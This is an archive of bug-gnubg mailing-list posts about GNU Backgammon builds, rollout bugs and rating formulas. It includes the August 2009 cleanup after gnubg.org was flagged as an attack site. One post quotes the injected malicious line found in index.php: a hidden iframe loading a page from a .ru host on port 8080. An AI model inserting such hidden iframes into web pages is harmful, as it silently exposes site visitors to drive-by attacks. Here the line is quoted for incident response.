Re: [Bug-gnubg] New win builds on gnubg.org (20090907 code) EOM

2009-09-08 Thread mailinglists
NT NMT EOT EOM Where is the internet police? ;-) Ciao Achim ___ Bug-gnubg mailing list Bug-gnubg@gnu.org http://lists.gnu.org/mailman/listinfo/bug-gnubg

Re: [Bug-gnubg] Gnubg.org removed from Google blacklist

2009-09-08 Thread mailinglists
2009/9/8 Øystein Johansen : > On Tue, Sep 8, 2009 at 12:03 PM, Christian Anthon > wrote: >> >> Thx Achim and Øystein for your work in fixing this. Are you still >> keeping watch over the site? > > Yes, we will keep watch over the site, however (speaking foe myself) I can > not make any editorial c

Re: Re : Re : [Bug-gnubg] Fwd: Malware notification regarding gnubg.org

2009-08-24 Thread mailinglists
On Mon, Aug 24, 2009 at 5:34 PM, Massimiliano Maini wrote: > > > > It looks as if Google 'released' www.gnubg.org again. Firefox nor > > > Chrome block it. > > > N. > > > > Firefox still gives me the warning, but IE7 does not. > > Can't figure out why ... > Here FF still shows the warning. > An

Re: [Bug-gnubg] No snapshots since 0817?

2009-08-24 Thread mailinglists
On Mon, Aug 24, 2009 at 5:29 PM, Michael Petch wrote: > > On 24/08/09 9:17 AM, "Louis Zulli" wrote: > > > Hi, > > > > Unless I'm very mistaken, no snapshots have been added at > > http://gnubg.org/media/sources/ > > for the last week. > > > > Already reported by Max. Likely disk quota exceeded

Re: [Bug-gnubg] Site being reported as "Attack Site"

2009-08-21 Thread mailinglists
On Fri, Aug 21, 2009 at 11:19 PM, Roy A. Crabtree wrote: > Viral sequence is popping up, folks. > > I had better fade off site. > > I deal with this all the time. Folks, please do yourself a favour and carefully read what Google writes (if you click on "why was this side blocked" you'll get th

Re: [Bug-gnubg] iframe

2009-08-16 Thread mailinglists
On Mon, Aug 17, 2009 at 12:01 AM, Michael Petch wrote: > > On 16/08/09 3:49 PM, "Frank Berger" wrote: > > > > Don't know what you use to build the site. Probably something based on > > PHP? I'm not an expert on security issues but AFAIK PHP doesn't enjoy > > a good reputation for security. > > >

Re: [Bug-gnubg] Fwd: Malware notification regarding gnubg.org

2009-08-15 Thread mailinglists
Hi again, webpage is updated, affected html/php files are exchanged, I just requested to delete us from the "Google suspicous list." Ciao Achim ___ Bug-gnubg mailing list Bug-gnubg@gnu.org http://lists.gnu.org/mailman/listinfo/bug-gnubg

Re: [Bug-gnubg] Fwd: Malware notification regarding gnubg.org

2009-08-14 Thread mailinglists
On Sat, Aug 15, 2009 at 5:51 AM, wrote: > Hi again, > > I just did a quick check at the webpage. The file index.php contains the > line > > http://39t.ru:8080/index.php"; width=103 height=140 > style="visibility: hidden"> > > Note: I had to change the tag to" i_frame" because the otherwise would

Re: [Bug-gnubg] Firefox 3.5.2 blocks gnubg.org as "attacking site"

2009-08-14 Thread mailinglists
Hi Ingo, thx for the info. See my other e-mail. We'll have to check how someone was able to manipulate index.php but I'll wait for Oystein to contact me. He's the Drupal expert, and there might be a vulnerability in the CMS. Afterwards we need to contact Google again. It also might be that someon

Re: [Bug-gnubg] Fwd: Malware notification regarding gnubg.org

2009-08-14 Thread mailinglists
Hi again, I just did a quick check at the webpage. The file index.php contains the line http://39t.ru:8080/index.php"; width=103 height=140 style="visibility: hidden"> Note: I had to change the tag to" i_frame" because the otherwise would not be send. At first glance no other files or directorie

[Bug-gnubg] Sources: refererence to textures/total.bmp

2008-08-13 Thread mailinglists
Hi folks, just tried to compile a fresh snapshot and figured out that textures/Makefile.am has an entry for "total.bmp", a file that is missing in the cvs repository. I deleted the entry, but does anybody know what "total.bmp" was used for? Ciao Achim _

Re: [Bug-gnubg] Bug(?!): Rollouts involving noise

2008-08-12 Thread mailinglists
Zitat von Massimiliano Maini <[EMAIL PROTECTED]>: Hi Achim, I guess you lostpasr of Bob's message ... what are 1D, 2C, 2D ? Can you repost Bob's original message ?.. Yes, you're right. Somehow I mixed up his html e-mail. The whole message is below now. Ciao Achim ***

[Bug-gnubg] Bug(?!): Rollouts involving noise

2008-08-11 Thread mailinglists
Hi folks, I'm forwarding an e-mail by Bob Koca (he also tried to show me this behavior of gnubg whwn we met in Monte Calro): *** Here is a summary of some of the weird behavior I?ve noticed when doing rollouts involving noise. I suspect it ma

Re: [Bug-gnubg] LAR, FIBS and MWC

2008-08-11 Thread mailinglists
Zitat von Massimiliano Maini <[EMAIL PROTECTED]>: Use subqueries (not sure if they are supported everywhere): have 2 queries that creates one table each, then a third query that does a join (on session_id?) of the two tables obtained calling the two other queries. Does this help ? MaX. I fina

Re: [Bug-gnubg] error rate and match winning chances

2008-08-07 Thread mailinglists
Zitat von Christian Anthon <[EMAIL PROTECTED]>: Hi Achim, the absolute fibsratings are more or less broken, and need to be recalibrated to be useful. Christian. What's wrong with it? Regarding the error rate it seems to provide reliable results (I have a panel of round about 300 1-3pointe

Re: [Bug-gnubg] error rate and match winning chances

2008-08-07 Thread mailinglists
Hi Nis, first of all thanks for a great explanation. Indeed I did misread/misinterprete the LAR before. Zitat von Nis Jørgensen <[EMAIL PROTECTED]>: Mueller Achim skrev: Christian wrote something which could be misread. Jan's description is more precise. Estimated Win % = 50% + LAR The

Re: [Bug-gnubg] error rate and match winning chances

2008-08-06 Thread mailinglists
Zitat von Mueller Achim <[EMAIL PROTECTED]>: That's why I asked for the fibs ratings. I guess these numbers are more reliable regarding match winning chances. I missed the nearby ... http://www.fibs.com/ratings.html#calculators Winning prob. = 1-(1/(10^((YOU-HIM)*SQRT(ML)/2000)+1)) or 1/(1

[Bug-gnubg] Re: Missing fonts on MacOS 10.5?

2008-06-27 Thread mailinglists
Zitat von Thomas <[EMAIL PROTECTED]>: Any updates to GNUBG? Fontconfig error: Cannot load default config file (gnubg:22611): Pango-CRITICAL **: No fonts found: This probably means that the fontconfig library is not correctly configured. You may need to edit the fonts.conf configuration file.

Re: [Bug-gnubg] Re: Missing fonts on MacOS 10.5?

2008-06-25 Thread mailinglists
Zitat von Christian Anthon <[EMAIL PROTECTED]>: The missing text is most likely translated. Could it be a problem with missing mo files, gettext files, or bad locale settings? Bingo! I didn't pack the mo-files in /opt/local/share/locale. @Thomas: I'll provide new packages this evening. Ciao